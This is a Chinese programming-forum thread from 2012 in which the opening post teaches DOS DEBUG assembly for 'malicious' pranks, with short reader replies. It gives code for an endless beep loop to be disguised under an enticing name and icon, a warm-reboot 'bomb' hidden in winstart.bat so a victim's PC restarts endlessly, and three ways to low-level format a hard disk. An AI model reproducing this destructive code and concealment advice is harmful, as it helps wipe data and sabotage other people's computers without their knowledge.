鱼C论坛

 找回密码
 立即注册
查看: 2797|回复: 14

[技术交流] 死循环恶意程序

[复制链接]
发表于 2012-11-11 16:24:30 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x

在dos下键入debug,进入debug,然后键入下面的汇编代码
-a100
0100:mov dl,1 ;将1调入dl
0102:mov ah,2 ;将2H调入ah
0104:int 21 ;调用21H DOS程序
0106:inc dl ;将dl中的数加1
0108:jmp 102 ;回到102程序,既返回"mov ah,2"
两次回车
现在让我们来生成com文件,键入一下指令:
-n盘符程序名 ;n和程序名间没有空格
-rbx ;查看bx寄存器
回车 ;bx为0,不用输入,就回车
-rcx ;查看cx寄存器
:a ;输入程序字节数,a(16进制)就是10字节
-w ;写入程序
好了,现在可以在dos下试试效果了,呵呵,不要打我呀!!!!!!是不是电脑乱叫乱跑呀,哈哈,这是个死循环,现在同时按ctrl+break或ctrl+c可以强制停止的,要是在windows下就用鼠标结束命令提示符就没事了.
现在来解释一下这个程序的实现过程:
把显示字符的ASCII码值调入DL寄存器中,把显示字符的功能号2H调入ah中,执行"int 21"即显示1H的ASCII码,"inc dl"就是将dl中的值加一,"jmp 102"就是跳到"mov ah,2"这个程序段,简单吧,很容易看懂的,这个程序如果再屏蔽掉ctrl,break,c,然后在将窗口最大化,呵呵,那就只能看着自己的"爱机"死循环到死机了,你可以给他取个sexlady的名字,再换个性感的图标,现在就可以用它来炸色狼了.呵呵,今天就讲这么多,下次讲什么呢?讲炸键盘的核心代码吧,嘿嘿.
让你的电脑反复启动-debug应用(二)


c:\debug boot.com
-a100
-mov ax,0040
-mov ds,ax
-mov si,0072
-mov[si],ax
jmp ffff:0
int 20
-rcx
0014
-w
-q
这个就是热启动的程序,如果再用.bat文件让它自动执行,那么它就是一个炸弹,让人家的电脑反复启动,可能你会把他添加到autoexec.bat中,但这样容易被人发现,其实还有一个自动批处理文件和autoexe.bat的作用一样,不过他是在autoexec.bat后执行,文件名叫winstart.bat,这个文件是许多软件安装时生成的临时文件,当软件安装需要重新启动然后继续安装时,就会在windows目录下生成这个文件,安装完后自动删除,但如果是你人为添加这个文件,系统将不把他删除,这样你就可以把这个热启动的程序用这个winstart.bat来让他每次启动计算机时自动执行,最好把这个文件隐藏,一般人是很难想到是这个批处理文件在捣乱,嘿嘿,这样就可以让人家的计算机反复启动不停了.
用DEBUG低格硬盘
方法一:

  直接调用ROM BIOS中的低格式化程序。

  在很多计算机的ROM BIOS中存放着低格程序。存放地址从C8005H处开始,可以用DEBUG的G命
令直接调用。操作如下:

a:/>debug -g c800:0005

  这时屏幕显示信息(不同版本的BIOS显示的信息不一样),回车后提示:

  current interleave is 3 select new interleave or return fot current

  这是要求用户选择交叉因子,按回车表示取默认值,屏幕接着提示:

  Are you aynameically configuring the drive-answer Y/N


  Prss "Y" to begin formatting the drive c: with interleave 03


  键入Y后,开始低格......


  Formatting......


  完成后询问是否处理坏磁道:


  Do you want to format bat trackanswer Y/N?


  如没有就用“N”回答,屏幕提示:


Format successfull,system will new restart,insert dos diskette in dirve a:


  插入系统盘到A驱,即可进行分区,高级格式化等操作。

方法二:

  BIOS也可以由DOS通过中断指令来调用。调用INT 13H中断的7号功能,也可以对硬盘进行
低格,操作如下:


a:/>debug


-a 100


-xxxx:0100 mov ax,0703; 交叉因子为3


-xxxx:0103 mov cx,0001; 0磁道0扇区起


-xxxx:0106 mov dx,0080; C盘0磁道


-xxxx:0109 int 13


-xxxx:010B int 3


-xxxx:010D


-G 100 ;从0100处开始执行。


这样硬盘就被低格了!

方法三:

  调用INT 13H的5号功能。


  对硬盘调用INT 13H的5号功能只能低格0面0道1扇区,而不必低格整个硬盘,从而使低格
在很短的时间内完成。操作如下:


a:/>debug


-a 100


-xxxx:0100 mov ax,0500;调用5号功能


-xxxx:0103 mov bx,0180;设置缓冲区地址


-xxxx:0106 mov cx,0001;0道1扇区起


-xxxx:0109 mov dx,0080;C盘0磁道


-xxxx:010B int 13


-xxxx:010D int 3


-E 0180 0 0 0002;写入参数


-G 100
游客,如果您要查看本帖隐藏内容请回复

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2012-11-11 17:05:23 | 显示全部楼层
楼主你好坏:kiss:
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
 楼主| 发表于 2012-11-11 17:22:30 | 显示全部楼层
呵呵 .这个在win98 2000的年代可是很流行的哦
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-4-15 09:39:29 | 显示全部楼层
很好。。。。。。。。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-4-21 11:09:42 | 显示全部楼层
很牛很强大
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-4-21 11:12:37 | 显示全部楼层
dddddddddddddd
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-4-21 11:41:24 | 显示全部楼层
靠。。。。好邪恶,不过应该不行了吧,
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-4-21 11:43:19 | 显示全部楼层
鱼C工作室-免费编程视频教学|编程技术交流|C语言教学|汇编教学|win32教学|Delphi教学|加密与解密|Linux教学 - Powered by Discuz!,楼主的帖子实在是写得太好了。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
头像被屏蔽
发表于 2013-4-21 12:01:40 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-4-21 12:14:48 | 显示全部楼层
淡定,淡定,淡定……
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-4-21 12:26:50 | 显示全部楼层
第二个我做不了,怎么回事?
我写的程序是:
assume cs:a
a segment
     mov ax,0040h
     mov ds,ax
     mov si,0072h
     mov[si],ax
     jmp 0ffffh:0h
     int 20h
a ends
end
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2013-5-17 12:25:23 | 显示全部楼层
无回帖,不论坛,这才是人道。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2016-6-3 09:41:34 | 显示全部楼层
  楼主  能加个qq吗  1696669883    !!!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2016-6-5 10:16:11 | 显示全部楼层
感觉好厉害的样子~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2016-7-1 12:09:38 | 显示全部楼层
谢谢分享
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-5-3 00:05

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表